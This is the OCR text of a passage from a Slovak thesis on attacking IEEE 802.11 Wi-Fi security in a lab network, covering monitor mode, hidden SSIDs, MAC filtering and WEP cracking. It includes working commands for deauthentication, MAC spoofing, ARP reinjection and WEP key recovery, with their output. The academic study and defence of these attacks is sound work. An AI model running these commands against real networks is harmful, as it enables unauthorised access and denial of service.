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1. Motivacia

Bezdrotové siete zalozené na Standarde IEEE 802.11 su v stcasnosti
najpouzivanejsimi bezdrétovymi pocitaovymi sietami na svete. Vd’aka prenositelnosti,
lahkej instalacii a dobrym parametrom oneskorenia a prenosovej rychlosti si nachadzaji
uplatnenie v domécnostiach, malych aj velkych firmach a aj na budovanie pristupovej
siete poskytovatel'ov internetu. Pri takomto rozsireni bezdrotovych sieti je nutné dbat’
na ich zabezpecenie.

Siet IEEE 802.11 pracuje na prvej vrstve (fyzickej) a druhej vrstve (nizSia
podvrstva MAC, riadenie pristupu na médium) referencného modelu Open Systems
Interconnection. Pri nespravnom (ale uplne beznom) a nezabezpeCenom zapojeni do
existujucej drotovej siete predstavuje ,dieru” do siete, ktord moze byt inak pred

vonkajsimi utokmi zabezpecena, ako napr. na obr. 1-1.

firegweall
vonksjsia iet @

vrctorng siet
- @

= %upnw hu:ud"\‘

g

Ctocnik

obr. 1-1: Priklad implementacie, kde bezdrotova siet’ kompromituje (inak zabezpecenu) drotovu siet’

Tato praca nadvizuje na bakalarsku pracu, v ktorej bol standard IEEE 802.11
a jeho prvotné zabezpeCenie WEP popisané vSeobecne. Diplomova praca ma za ciel’
opis arealizdciu rdéznych, najmid novych utokov na bezdrotové siete IEEE 802.11,
zabezpecené pomocou Standardizovanych aj proprietarnych prvkov ochrany. Analyzuje
moznosti utoCnika na prienik, ako aj administratora alebo pouzivatel'a na zabezpecenie

siete lepSimi, resp. viacerymi sposobmi ochrany.
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2. Priprava

Testovanie utokov je mozné robit na redlnych bezdrotovych sietach, ale kvoli
praktickym, etickym a pravnym ddévodom bola pouzitd siet’ zostrojend na tento ucel.
Pouzité operacné systémy (0OS) boli Microsoft Windows 2000 a GNU/Linux distribucie
Slackware (GNU is Not Unix, GNU Nie je Unix) — dovody su popisané nizsie v Casti 2.3.

V nasledujuicom texte st ramcekoch pouzivané prikazy zadavané do konzoly
GNU/Linux alebo inych *nix-ovych systémov (hrubym pismom) a ich vystup. Mreza
»#“ na zaciatku riadku pred prikazom znamena, Ze je nutné puastat ho s pravami
administratora (root); dolar ,,5* pred prikazom znamend, ze program je mozné pustat’

ako bezny pouzivatel. Mreza za prikazom je vzdy poznamka.

2.1 Monitorovaci rezim (monitor mode)

Pre odchytavanie komunikécie na ,,drotovych® LAN (Local Area Network, lokalna siet)
je zndme pouzitie promiskuitného rezimu. V om sietova karta umoziuje zachytavanie
ramcov, ktorych cielovda MAC (Medium Access Control, riadenie pristupu na médium) adresa je
Iubovolna. V pripade WLAN (Wireless LAN, bezdrotovdi LAN) v promiskuitnom rezime
mozeme po asociovani sa na siet’ zachytdvat’ vSetky ramce v danej sieti. Je vSak nutné
najprv byt asociovany. NavySe vela ovladacov  WLAN kariet ani nepodporuje
promiskuitny rezim.

V rezime monitor, tiez znamom ako RFMON (Radio Frequency Monitor,
monitorovanie radiovych frekvencii), sietova karta WLAN zachytdva ramce bez
asociovania sa na AP (Access Point, pristupovy bod), alebo do ad-hoc (prilezitostna, siet’ bez AP)
siete — pri monitorovani prevadzky chranenej Sifrovanim to znamend, ze budu
odchytené celé ramce v zaSifrovanej forme. Umozniuje ,,monitorovat™ konkrétny kanal
bez toho, aby bol vyslany akykol'vek rdmec — pri niektorych ovladacoch dokonca ani
nie je mozné v reZime monitor vysielat’.

Daldou vlastnostou monitorovacieho rezimu je to, e karta zachytiva a posuva
d’alej aj rdmce s nespravnymi kontrolnymi suctami, takze sa modze stat, ze niektoré

prijaté rdmce budu poskodené.
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2.1.1 Zapnutie monitorovacieho rezimu

Po zavedeni ovladacov, ¢i uz automaticky pomocou sluzieb hotplug (Linux 2.4),
udev (Linux 2.6) alebo manualne pomocou modprobe, sa zariadenie uvedie do rezimu

monitor jednym z nasledujticich sposobov:

# iwconfig rausb0 mode monitor # pre Ralink chipsety

# iwpriv eth2 monitor 2 1 # pre Prism chipsety, kandl ¢. 1

Obcas sa stalo, Ze sietova karta neprepla rezim spravne. Vtedy pomohlo
asociovanie sa na existujuice AP ('ubovolné) v rezime managed (manaZovany,

infrastrukturny) a nasledné prepnutie do rezimu monitor.

2.1.2 Vysielanie v monitorovacom rezime

Niektoré sietové karty, resp. ich ovladace neumoziuji v rezime monitor vysielat’
ziadne data. U niektorych je potrebné moznost’ vysielania explicitne zapnut, obvykle

pomocou iwpriv, napriklad:

# iwpriv rausb0 rfmontx 1

2.1.3 Prism hlavicka

Vicsina novych ovladacov pri pouziti monitorovaciecho rezimu pred zachytené
ramce vklada tzv. ,,Prism“ hlavicku (ndzov pochadza z Prism chipsetov, ktoré ako prvé
podporovali monitorovaci rezim). Tato obsahuje informacie o sietovej karte, na ktorej
bol ramec zachyteny, kanal, silu signalu, modula¢nu rychlost’, apod.

Programy musia byt schopné rozoznat' tuto hlavicku, aby vedeli s ramcom
pracovat. Vicsina pouzitych utilit s tymto problém nemala — ¢i uz pri zachytavani
nazivo alebo pri Citani z pcap (packet capture, zachytené pakety) siboru; iba tcpdump treba
nastavit’ na zachytavanie viac ako 96 bajtov z ramca, aby ho vedel analyzovat’.

Pre také programy, ktoré nedokazu Prism hlavicku spracovat, je mozné ju z pcap
suboru odstranit’, napriklad pomocou prism-strip z balika Airbase tools.

Dalsou moznostou je vypnutie vkladania Prism hlavi¢ky, ¢o niektoré GNU/Linux

ovladace umoznuji pomocou programu iwpriv, napriklad:

# iwpriv ra0 prismhdr 0

U inych ovladacov je na tento ucel mozné upravit’ ich zdrojovy kod.
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2.2 Zariadenia

Podla informacii na stranke http://linux-wless.passys.nl/ boli z dostupnych IEEE

802.11b/g sietovych kariet vybrané také, ktoré mali mat’ Ralink chipset (¢ipova sadu).
Tento mé k dispozicii open-source (s otvorenym zdrojovym kédom) ovlada¢ pre operacny

systém GNU/Linux, ktory umoziuje monitorovaci rezim.

2.2.1 MSIUS54G

Vendor ID/Device ID: 0db0:6861
MAC adresa: 00:11:09:29:62:38
Chipset: Ralink 2500USB

Linux ovladac dostupny z: http://rt2x00.serialmonkey.com/ (rt2570, ver.1.1.0-b2)

Wi-Fi stick pripojitel'ny cez USB rozhranie (Universal Serial Bus, univerzalna sériovéa
zbernica), doddvany s polmetrovym tvrdym predlzovacim kablom. Prekvapenim bol
velmi kratky dosah zariadenia, signal prechadzajici tenkou stenou nebolo mozné
zachytit. Po zavedeni ovladaca rt2570 sa zariadenie identifikuje ako rausbO.
Umoznuje aj prenosovu rychlost 54 Mbit/s v ad-hoc rezime (porusenie 802.11g

Standardu) pomocou prikazu ‘iwpriv rausb0 adhocmode 2°.

2.2.2 ASUS WL-107G

Vendor ID/Device ID: 1814:0201
MAC adresa: 00:17:31:BA:EF:E4
Chipset: Ralink 2500

Linux ovladac dostupny z: http://rt2x00.serialmonkey.com/ (rt2500, ver.1.1.0-b4)

CardBus karta do notebooku. Po zavedeni ovladaca rt2500 sa identifikuje ako
ra0. Vzhl'adom na to, Ze s touto kartou boli najmensie problémy s prepinanim rezimov,

bola pouzivana najmi na odchytavanie.

2.2.3 Micronet SP906GK

Vendor ID/Device ID: 10ec:8185
MAC adresa: 00:11:3B:0B:22:0C
Chipset: Realtek RTL-8185

Linux ovladac dostupny z: http://rt18180-sa2400.sourceforge.net/ (cez CVS)

PCI karta (Peripheral Component Interconnect, rozhranie na pripéjanie periférii), o ktorej sa
povodne predpokladalo, Ze bude mat Ralink chipset, ukazalo sa vSak, ze je osadena

Realtek-om. Dostupné ovladace pre Linux (rtl8180-sa2400-dev, rtl818x-newstack) po
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zlozitom nakompilovani a zavedeni do jadra (kernel 2.6.18.3) spoOsobili totdlne
zamrznutie systému pri viacerych pokusoch. Preto bola pouzivand pod OS Windows
2000, s ovladacom NDIS 5.1060.413.2006 (Network Driver Interface Specification, $pecifikacia
pre ovladate sietovych rozhrani) z inStalacného CD — karta bola teda pouzitd na simulaciu
prevadzky, a nie utoky. Tieto ovladace obsahuji aj moznost’ Host-AP (pristupovy bod na

pocitaci), to sa vSak nepodarilo uviest’ do funkéného stavu.

2.2.4 Micronet SP917G Access Point

MAC adresa: 00:11:3B:07:00:14

Pre zostavenie infraStrukturnej siete bolo potrebné pouzitie AP. Zariadenie
podporuje WEP (Wired Equivalent Privacy, dovernost ekvivalentna drotovej sieti — v kapitole 4
ukdZeme, 7e nazov je zavadzajiuci), WPA (Wi-Fi Protected Access, zabezpeteny pristup Wi-Fi) aj

WPA2.

2.2.5 Kompatibilita

Vsetky zariadenia vedeli spolupracovat’ v ad-hoc aj infraStruktirnom zapojeni,
bez pouzitia Sifrovania a pri pouziti WEP. Pri snahe o pouzitie WPA-TKIP (Temporal Key
Integrity Protocol, protokol s integritou docasnych klacov) aj WPA-AES (Advanced Encryption
Standard, rozsireny $ifrovaci Standard) vSak nastali problémy s nekompatilitou (aj pri testovani
vSetkych kariet na Windows s pouzitim ovladacov od vyrobcu) anebola mozna

komunikacia STA (station, stanica) a AP medzi:

o Asus-STA <> Micronet-AP — AP neodpovedd na 2. spravu EAPOL
handshake (Extensible Authentication Protocol over LAN, podanie si rik pomocou
rozgiritelného autentifika¢ného protokolu cez lokalnu siet), pretoze mu na konci tela
spravy chybaji dva nulové bajty (ktoré Micronet nestandardne pouziva);

o MSI-STA <> Micronet-AP — po odpovedi na Probe request broadcast
(celoplosna vyhladdvacia poziadavka) sa MSI nepokusi o pripojenie;

o Asus-STA <> Micronet-STA — (ad-hoc) posielaji nekompatibilné Beacon
(signalne ramce);

o  MSI-STA <> Micronet-STA — (ad-hoc) neznama pri¢ina, odchytivanie

nebolo k dispozicii;
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Pri zabezpeceni pomocou WPA/WPA2 bolo teda nutné prevadzku simulovat
pomocou Specidlneho zapojenia (vid. 2.4), pretoze jedina fungujuca dvojica (tak, aby
bola este k dispozicii karta v monitor rezime) bola Micronet-STA <> Micronet-STA.

Ziadne z pouzitych zariadeni nema Wi-Fi certifikaciu, Micronet ani nie je ¢lenom

Wi-Fi aliancie.

2.3 Softver

Najviac vyvoja v oblasti analyzy bezpecnosti bezdrotovych sieti sa deje v
*nixovom prostredi. Je to najmd kvoli dostupnosti kniznic (najmd kniznica pcap na
zachytavanie a ukladanie sietovej komunikdcie), jednoduchej interakcii programov
navzajom (skriptovanie) a moznosti nizkouroviiového pristupu hardvéru. Zapnutie
monitorovacieho rezimu je s ovladacmi pre OS Windows obtiazne a ¢asto nemozné
a podpora aplikacii potrebnych na testovanie itokov je vel'mi nizka.

Na simulaciu prevadzky bol pouzity pocitac s OS Windows 2000 (s Micronet PCI
kartou) vzdy spolu s jednym z d’alSich dvoch PC. Na pasivne aj aktivne utoky boli
pouzité pocitace s nainStalovanym OS Linux distribucie Slackware 10.1 a 10.2,

dostupny z http://www.slackware.org. Boli pouzité kernely (jadra) verzie 2.4.29 a

2.6.18.3, oba nakompilované pre pouzitie na danom systéme.

2.3.1 Pouzité utility

Okrem programov Standardne pritomnych v distribucii Slackware a ovladacov,

ktoré boli popisané vyssie, boli pouzité nasledovné:

o  WireShark, verzia 0.99.5 — pdvodnym ndzvom Ethereal, http://www.wireshark.org,

zachytavanie a prehladna analyza v grafickom rezime;
o AirSnort, verzia 0.2.7e¢ — http://airsnort.shmoo.com, zistenie WEP kl'u¢a pomocou

FMS a KoreK utokov (vid’. 4.7 a 4.8) v grafickom rezime;

o Aircrack-ng, verzia 0.8 — http://www.aircrack-ng.org, balik programov na rézne

utoky;

o Aircrack-ptw, v. 1.0.0 — http://www.cdc.informatik.tu-darmstadt.de/aircrack-ptw,

utilita na zistenie WEP kl'ica Kleinovym utokom (vid'. 4.9);

e Airbase, verzia svn-233 — http://www.802.11mercenary.net/, balik programov na
lamanie WEP, vyuzitd zneho bola najmi utilita prism-strip na

odstrafiovanie Prism hlavi¢iek z pcap suborov;
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coWPAtty, verzia 4.0 — na stiahnutie z http://www.churchofwifi.org/, utilita na
lamanie PSK vo WPA a WPA2 (vid’. 5.2);

wep_crack — http://www.thenewsh.com/~newsham/wlan, utilita na brute-force

lamanie WEP zaloZeného na passphrase (vid’. 4.1.1).

Pouzité neboli (¢i uz pre nedostatocné Stadium vyvoja, nemoznost’ pouzitia

v testovacom prostredi, alebo zavislost programu od pouzitych ovladacov), ale za

zmienku stoja nasledovné:

Airsnarf — http://airsnarf.shmoo.com/, balik urfeny na nastavenie faloSného AP
(vid. 8.1);

asleap — http://asleap.sourceforge.net/, utilita na ldmanie LEAP (Lightweight EAP,

odlah¢eny EAP) (vid’. 5.3) a PPTP (Point-to-Point Tunneling Protocol, protokol na
tunel medzi dvoma bodmi);

chopchop — zverejneny na fore http://www.netstumbler.org/, povodny proof-of-

concept (dokaz konceptu) pre chopchop utok (vid'. 4.5);
HotSpotDK — http://airsnarf.shmoo.com/, WIDS (Wireless Intrusion Detection System,

systém na detekciu prienikov na bezdrétovej sieti) na personalne pouzitie (vid'.
9.4);

lorcon — http://802.11ninja.net/lorcon/, kniznica, ktord umoziuje manipulaciu so

zariadeniami v rezime monitor pre viaceré ovladace s transparentnym
pristupom — jedna sa o aktudlny projekt, ktory zjednodusi vyvojarom
pracu o starosti s ovlada¢mi, takze sa Coskoro zrejme objavia uplne nové
projekty ohl'adom bezpecnosti WLAN,

MAC Changer — http://www.gnu.org/software/macchanger, program na zmenu
MAC adresy zariadenia.

2.3.2 Uprava ovladagov

Ovladace rt2500 boli upravené tak, aby v rezime monitor poskytovali vySSim

vrstvdm nielen datové a management ramce, ale aj riadiace (control). Zmena bola

urobena v stibore rt2500-1.1.0-b4/Module/rtmp data.c, patch (zaplata) je na

prilozenom médiu.

Rovnaki zmenu je mozné urobit’ aj pre rt2570, vsubore rt2570-1.1.0-

b2/Module/rtusb data.c, pre nutnu zapnuti bezpecnostni politiku na danom
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pocitaci nebolo mozné neuplné riadiace ramce poskytnit’ cez firewall vySSej vrstve.
Tieto ovladaCe boli upravené aj pre rychle posielanie rdmcov v reZzime monitor s
nulovym backoff time (¢asom ctvnutia), tiez zmenou v sibore rtusb data.c. Zaplata

na prilozenom médiu.

2.3.3 Nova utilita framespam

Pre potreby tejto prace, najma pre implementaciu CTS flood utoku (vid’. 6.3) bola
vytvorend jednoducha utilita nazvana framespam. Umoziuje posielat’ ramce vel'kou

%6

rychlost'ou (,,spamovat™ ich), alebo s pauzou po vyslani kazdého ramca.

Réamec na odoslanie je nacitany zo Standardného vstupu, ktory je presmerovatelny
zo suboru alebo zvystupu iného programu, atak je utilita ahko pouzitend aj
v skriptoch. Parametre a priklad spustenia su popisané v Casti 6.3.3 Realizacia CTS

utoku. Utilita je na prilozenom médiu.

2.4 Zapojenie

Boli pouzité dve rézne zapojenia — jedno pre operaciu v rezime ad-hoc a jedno

infrastruktarne (rezim managed).

2.4.1 Ad-hoc zapojenie

STA1 STAZ

%2}} * - (:@% legitimna kamunikécia
\ , f// ————— odpodivanie (pasine)
™ 1
v —Z~— nardianie (aktivne)
Ctodnik

obr. 2-1: Zapojenie v rezime ad-hoc

Na komunikaciu boli pouzit¢é dve PC — s Micronet PCI kartou a MSI USB

stickom, na odpocuvanie a nariisanie notebook s Asus CardBus kartou.
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2.4.2 Infrastruktirne zapojenie

STA

%»)ﬁ:\ - »
&y

kartrola Gtoku 5‘;'@
DALAN)

legitimna komunikacia

odpodivanie (pasine)

-—Z— nariiEanie (aktivne)

- simulacia presadzky
(LAY

obr. 2-2: Zapojenie v rezime managed

Pre problémy so vzajomnou kompatibilitou zariadeni (opisané v 2.2.5) boli
v infrastrukturnej sieti (rezim managed) pouzité na legitimnu wireless komunikaciu iba
Micronet-AP a Micronet-STA. Ako uto¢nik bolo pouzité PC s MSI USB stickom. Kvoli
potrebe Linuxu (umozije flood ping) na aspon jednej z komunikujucich stanic bol ku

AP pripojeny pomocou ethernetu notebook, ktory s STA komunikoval. Ten navyse robil

aj pasivne sledovanie, pre kontrolu priebehu itoku pomocou programu Wi reShark.

Vicsina prace (tam, kde nie je uvedené inak) bola vykonana v infrastruktirnom

rezime, prave pre moznost’ nezavisle sledovat’ priebeh titoku.
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3. Najslabsie ochranné prvky

Siett WLAN je mozné chranit’ viacerymi spdsobmi. Niektoré z nich st dodnes
v povedomi verejnosti povazované za bezpeCnostné (niekedy dokonca bezpecné),
v skutoCnosti su  vSak len ,kozmetické“ a pouzitelné len na ochranu pred

nenakonfigurovanymi zariadeniami.

3.1 Skryvanie SSID

Casto pouzivanym ,,zabezpe&enim® je ukrytie identifikatoru siete SSID (Service Set
Identifier, identifikator sady sluzieb) — umoznuje to mnozstvo AP aj Host-AP. Identifikator sa
v ,,Beacon” ramcoch nevysiela, resp. vysiela sa ako prazdny retazec. Bez poznania
tohoto identifikatoru nie je mozné sa na siet’ asociovat’ — samotné SSID sluzi teda ako
akési forma hesla.

Skryvanie SSID je mozné pouzit’ v kombinécii s d’alSimi sposobmi zabezpecenia.

3.1.1 Zistenie SSID

Réamec Association request obsahuje SSID siete, do ktorej sa stanica chce
asociovat. Tento je prenaSany bez akéhokol'vek zabezpecenia. Probe request a response
ramce, ktoré sa vysielaju pocas vyhladavania siete stanicou, taktiez obsahuji SSID.

Mozné st teda dva utoky:

a) pasivny —  Monitorujeme prevadzku a ¢akdme, kym sa niektord zo stanic bude
asociovat’, resp. vyhl'adavat’ AP. V asociatnom aj probe rdmci priamo
vidno SSID.

b) aktivny —  Management rdmce nie si nijakym sposobom zabezpecené. Posleme
sfalSovany disasociany alebo deautentifikacny ramec niektorej stanici
a monitorujeme prevadzku. Stanica sa vzapiti opiat’ asociuje, ¢im

prezradi SSID.

Monitorovanie pre zistenie nazvu SSID modzeme robit pomocou programov
wireshark, airodump-ng (z balika Aircrack-ng), ai rsnort, apod. Deautentifika¢ny
ramec mozeme zostrojit ruéne a nasledne poslat’ cez framespam, alebo pomocou

aireplay-ng (z balika Aircrack-ng):
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# ./aireplay-ng -0 1 -a 00:11:3b:07:00:14 -c 00:11:3b:0b:22:0c rausb0
23:07:23 Sending DeAuth to station -—- STMAC: [00:11:3B:0B:22:0C]

-0 1 urcuje typ utoku (deautentifikacia) a pocet vyslanych ramcov (1),

-a ... urCuje BSSID (Basic Service Set Identifier, identifikator zakladnej sady sluZieb)
(MAC adresa AP),

-c ... urcuje MAC adresu deautentifikovanej stanice,

rausb0 je zariadenie pouzité na vyslanie ramca (musi byt v monitor mode).

V zapiti airodump-ng ajairsnort zobrazia zistené SSID, v pripade
wireshark je treba prezriet vypis alebo ho wvyfiltrovat. Ak SSID nezachytime,
znamena to najskor, ze niektory zramcov sa stratil — bud’ na§ deautentifikacny pri
prenose (a treba poslat dalsi), alebo Probe/Association ramce (a treba pokus
zopakovat).

V pripade, ze deautentifikacnych ramcov posielame véicsie mnozstvo, bude sa

jednat’ o DoS 1utok (Denial of Service, zamietnutie sluzby) (vid’. 6.4).

3.1.2 Ochrana vo¢i zistovaniu SSID

Ziadna. SSID nikdy nebolo uréené ako bezpe¢nostny prvok, taktiez nikdy nemalo
byt’ skryvané.

Skryvanie SSID je teda vhodné len na zamedzenie asociovania sa
nenakonfigurovanych stanic, prip. takych, ktoré st nastavené na automatické pripajanie

sa do I'ubovolnej dostupne;j siete.

3.2 Filtrovanie podla MAC adresy

Dal§im z moZnych sposobov zabezpetenia je obmedzenie mnoziny MAC adries
stanic (sietovych kariet), s ktorymi bude AP komunikovat'.

Pristupovy bod (AP) ma nakonfigurovany zoznam MAC adries zariadeni, ktoré
bude asociovat’. Zariadenia s inymi MAC adresami ignoruje, resp. odpovie zaporne. Na
svete by nemali existovat dve IEEE 802.11 sietové rozhrania srovnakymi MAC
adresami, apreto sa moéZe tento druh filtrovania pozdavat ako kvalitny druh

zabezpecenia.
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3.2.1 Zneuzitie cudzej MAC adresy

MAC adresa je sice unikatna, na zariadeni obvykle napélend vo flash pamiti,
vacsinou je vSak softvérovo zmenitel'nd — ¢asto dokonca pomocou poévodného ovladaca
od vyrobcu.

Pasivnym monitorovanim je mozné jednoducho zistit' platné MAC adresy, ktoré
v danej BSS (Basic Service Set, zdkladna sada sluzieb) komunikuji. Tie potom mdzeme

pouzit’ pre vlastné ucely:

e posielanie falosnych surovych (raw) ramcov;

e zneuzitie MAC adresy pre ,legitimne* vyuzivanie sluzby — po odchode
daného zariadenia zo siete, resp. po jeho vypnuti softvérovo zmenime
MAC adresu svojho zariadenia a naplno vyuzivame sluzby poskytované
danou siet'ou;

e ukradnutic MAC adresy — vybranu stanicu odstavime pomocou uzko
nasmerované¢ho nizkourovitového DoS (vid. 6.1 RuSenie pasma, 6.3
RTS/CTS) apouzijeme jej adresu, DoS utok vSak musime uzko
nasmerovat’, aby sme odstavili iba vybrant stanicu a nie aj AP;

e sucasné pouzivaniec MAC adresy v tom istom Case — v pripade pouzivania
spojovo orientovanych protokolov (TCP (Transmission Control Protocol,
protokol pre riadenie vysielania)) ¢asté prerusenia; ak sa vSak obmedzime len na
bezspojovi komunikaciu (UDP (User Datagram Protokol, protokol pre
pouzivatel'ské datagramy), ICMP (Internet Control Message Protocol, protokol pre

riadiace spravy na internete), je mozny bezproblémovy chod.

Falosné rédmce modzeme posielat’ vrezime monitor napriklad pomocou
aireplay-ng zbalika Aircrack-ng, ru¢ne zostrojené ramce pomocou framespam,
pomocou file2air alebo roznymi inymi utilitami.

Zmena MAC adresy vlastného zariadenia nie je naro¢na operacia, li§i sa podla
typu OS, resp. ovladaca. Niektor¢ WLAN ovladace podporuju zmenu MAC adresy iba

v rezime monitor. Je to mozné urobit’ ako root jednym z nasledujicich spdsobov:

# ifconfig rausb0 hw ether 00:11:22:33:44:55 # pre Linux
# macchanger rausb0 -m 00:11:22:33:44:55 # pomocou utility macchanger
# wicontrol -i rausb0 -m 00:11:22:33:44:55 # pre FreeBSD
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alebo pomocou utility iwpriv alebo inych, ktoré si doddvané spolu s ovladacom.

Niekedy je potrebné najprv zariadenie vypnuit, a po zmene zapnit’:

# ifconfig rausb0 down
# ifconfig rausb0 hw ether 00:11:22:33:44:55
# ifconfig rausbO up

V OS Windows je mozné zmenit MAC adresu ako administrator v konfiguracii
zariadenia pre konkrétne sietové pripojenie, zalozka Advanced (rozSirené), polozka
Network Address. Ak tato polozka nie je pristupnia, mdézeme ju Gpravou registrov
,dorobit™ — vytvorenim kIic¢a

HKEY LOCAL MACHINE\SYSTEM\CurrentControlSet\Control\Class\
{4D36E972-E325-11CE-BFC1-08002BE10318}\0001\Ndi\params\NetworkAddress

9.7 v

a potrebnych hodndt pod tymto kIicom. 0001 treba nahradit’ ¢islom adaptéra, ktorému
polozku chceme pridat. Ukazka takejto Upravy registrov je na prilozenom médiu

v subore NetworkAddress.regq.

3.2.2 Ochrana voc¢i zneuzitiu MAC adresy

Na sieti, kde je l'ubovolna prevadzka, prakticky nie je mozné zabranit’ odchyteniu
platnej MAC adresy. Napriek tomu je tento spdsob ochrany Casto vyuzivany, pretoze
chrani pred neumyselnym zneuzitim, resp. zneuzitim laikom.

Ak chceme stazit, resp. zabranit' umyselnému zreuzitiu platnej MAC adresy
s cielom vyuzivat' sluzby poskytované sietou, je potrebné na sieti pouzit’ Sifrovanie —

vid’. 4. WEP, 5. WPA a WPA2.
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4. WEP

Protokol na zabezpecenie WLAN definovany v prvom IEEE 802.11 standarde [3]
sa nazyva WEP — Wired equivalent privacy. Bol vymysleny na poskytnutie bezpe¢nosti

urovne drotovych sieti, ale kvoli slabému kryptografickému zékladu tomu tak nie je.

CRCﬁ
[ Data [ 1w |
@
[iEE) | tajng klae 561 |——=*—=[ pseudonahodny prad |
N —— =

[V |000000] Key D
(3B) | (& bit) | 2 bit)

MAC hlavicka [ v [#]  Data(zasit)  [ICV (zagit)] FCs |
- I
—
telo ramca

obr. 4-1: Enkapsulacia WEP

Pouzitie WEP je naznacené na obr. 4-1 a bolo uz popisané v bakalarskej praci [7].
Na Sifrovanie sa pouziva pradova Sifra RC4, na zabezpecenie obsahu ICV (Integrity Check
Value, kontrolna hodnota integrity), vypocitané pomocou CRC-32 (Cyclic Redundancy Code,
cyklicky kod uréeny na detekciu chyb) a tiez zaSifrované. Inicializaény vektor (IV) sa pripoji
k tajnému kI"aicu (Styri definovatelné kl'uce odliSené pomocou Key ID) a pouzije na
inicializovanie stavového pol'a pre RC4 algoritmus. Proces inicializacie stavového pola
sa nazyva KSA (Key Scheduling Algorithm, algoritmus na rozvrhnutie kl'i¢a). Za telom ramca
nasleduje FCS (Frame Check Sequence, kontrolna hodnota ramca) vypocitané az hardvérovo.

Utoky na WEP st popisané v nasledujucom texte a vyplyvaji z tychto nedostatkov:

e pouzitie statického kl'ica (maximalne 4 kIice, statické), meni sa len I'V;
e opakovanie IV (cyklus len 2*%);

e pouzitie rovnakého algoritmu na Sifrovanie aj autentifikaciu;

e linearita CRC-32 a operacie XOR;

e Sifrovanie ICV spoli s datami;

¢ nedostatky pouzitého algoritmu RC4.
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4.1 Brute-force

Znémy zadiatok plaintextu a kratka realna dizka kPG¢a umoziuje pri nazbierani
malého mnozstva parov {1V, zaciatok RC4 vystupu} urobit’ vypoctovo narocny brute-
force utok, respektive slovnikovy titok na zistenie zdiel'aného Sifrovacieho kl'uca. Tato
metdda je pouZitelna len pre 64-bitové WEP — dizka tajného kIica je iba 40 bitov, pri

pouziti alfanumerickych a tlaitel'nych znakov je entropia kl'ica ovel'a mensia.

4.1.1 Utok na generator kl'a¢a

Mnoho ovladacov sietovych kariet umoznuje namiesto alfanumerického kluca
zadat tzv. ,passphrase, z ktorej sa generatorom vytvoria $tyri klI'aice. Tento generator je
bezne pouzivany, ale nie je nijak Standardizovany. 64-bitova verzia vyuziva XORovanie
(exclusive OR, vyluéujuce alebo) jednotlivych znakov passphrase navzijom a RC4 PRNG
(Pseudo-Random Number Generator, generator pseudonahodnej postupnosti &isel) takym spdsobom,
7e vysledny 40-bitovy kI'a¢, bez ohladu na dizku povodného passphrase, mé entropiu
iba 21 bitov. Detailne je tento generator a utok naitho popisany v [8]. Demonstrac¢ny

program od Tima Newshama vie s pomocou 2 odchytenych ramcov takyto WEP kla¢

prelomit’ na stroji P4 2.6 GHz do 10 sektnd:

$ ./wep_crack -b wep64-passphrase-2packets-stripped.cap

success: seed 0x00327821, [generated by AAAa 9sa]

wep key 1: da 37 11 e6 ac

wep key 2: 3b dd 3b c4 ef
3: 09 1d 2c c8 86
4:

c6 09 e9 3e 90

wep key
wep key
834594 guesses in 3.57 seconds: 234024.09 guesses/second

4.1.2 Uplné prehladavanie

Ak je pri 64-bitovom WEP pouzity silny 40-bitovy kl'ic, este stale je mozné ho

hrubou silou zlomit’. Jon Ellch napisal na tento ucel niekol’ko programov:

® jc-wepcrack —umoziuje distribuované lamanie
(priblizne 300 000 kI'icov/sek na jednom P4 3.6 GHz)
e ps3-wepcrack — lamanie na Sony PlayStation3 vyuzivajuce 6 VPU (Vector

Processing Unit, vektorové procesné jednotky) na doske

(priblizne 1 440 000 klIicov/sek)
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® pico-wepcrack — hardvérovo akcelerované lamanie pomocou Pico karty,
CardBus FPGA (Field-programmable gate array, programovatelné hradlové pole) od
firmy Pico Computing (http://www.picocomputing.com/)
(priblizne 9 000 000 kI"ai¢ov/sek)

Na jedinom notebooku s Pico kartou je teda moZné uplné prehladanie pre

40-bitovy kl'a¢ za necelych 34 hodin (najhorsi pripad).

4.1.3 Obrana voci brute-force

Pouzitie 128-bitového WEP (dizka kI'i¢a 104 bitov) s ndhodne vygenerovanym
kI'aiCom moznost’ brute-force utoku zna¢ne minimalizuje. V praxi sa ale metéda brute-
force samotnd takmer nepouziva, pretoze existuju ovela efektivnejSie spdsoby, ako
WEP prelomit’ (vid. dalej vtejto kapitole). Hruba sila sa obvykle pouziva len na
dopocitanie 1-2 chybajucich bajtov kl'ica pri FMS (Fluhrer-Mantin-Shamir, autori ttoku)
a KoreK utokoch (vid’. 4.7 a 4.8).

Pouzitie RSN (WPA/WPA2) zabrani tomuto druhu brute-force utoku — Sifrovaci

kIa¢ je dlhsi a meni sa, a preto ,,nie je co hl'adat™.

4.2 Injekcia ramcov

Ochranu pred zdvojenymi rdmcami poskytuje obvykle firmware WLAN
zariadenia, a to pomocou pola Sequence number v hlavicke. WEP S$ifruje a zabezpecuje
pomocou ICV iba datova Gast ramcov. Specifikacia WEP umoziiuje opakovanie sa IV
a kI'a¢ je staticky — je teda mozné 'ubovolny zachyteny ramec znovu vyslat. Aby nebol
identifikovany ako zdvojeny, postac¢uje zmenit' Sequence number.

Reinjekciou ramcov moézeme dosiahnut’ rozne ciele:

e marenie toku dat,

o celkové zvySenie prevadzky na sieti za ucelom zachytit ¢o najviac
roznych IV pre FMS/KoreK ttoky (vid. 4.7 a 4.8),

e zvySenic ARP (Address Resolution Protocol, protokol na zistovanie adries)

prevadzky pre Kleinov utok (vid’. 4.9).

4.2.1 ARP reinjekcia

ARP ramce su l'ahko identifikovatel'né aj v zasifrovanej forme, pretoze su kratke,

a ARP request (poziadavka) ma cielovi MAC adresu broadcast (FF:FF:FF:FF:FF:FF).
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AP takyto ramec preposle ostatnym STA; niektoré AP ho najprv deSifruju a nasledne
zasifruju s novym IV. Pri zvySovani prevadzky su dobré aj v tom, Ze cielovy adresat na
ne promptne odpovie, ¢im vygeneruje novy ramec, s novym IV.

Program aireplay-ng zbalika Aircrack-ng umoziiuje vrezime monitor
reinjekciu rdmcov podla zadanych pravidiel. Pre zvySenie ARP prevadzky ho spustime

ako root s parametrom -3 takto:

# ./aireplay-ng -3 -b 00:11:3b:07:00:14 -h 00:11:3b:0b:22:0c rausb0

The interface MAC (00:11:09:29:62:38) doesn't match the specified MAC (-h).
ifconfig rausb0 hw ether 00:11:3B:0B:22:0C

Saving ARP requests in replay arp-0502-004658.cap

You should also start airodump-ng to capture replies.

Read 51729 packets (got 49845 ARP requests), sent 51017 packets... (277 pps)
-3 urcuje typ utoku: ARP reinjekcia,
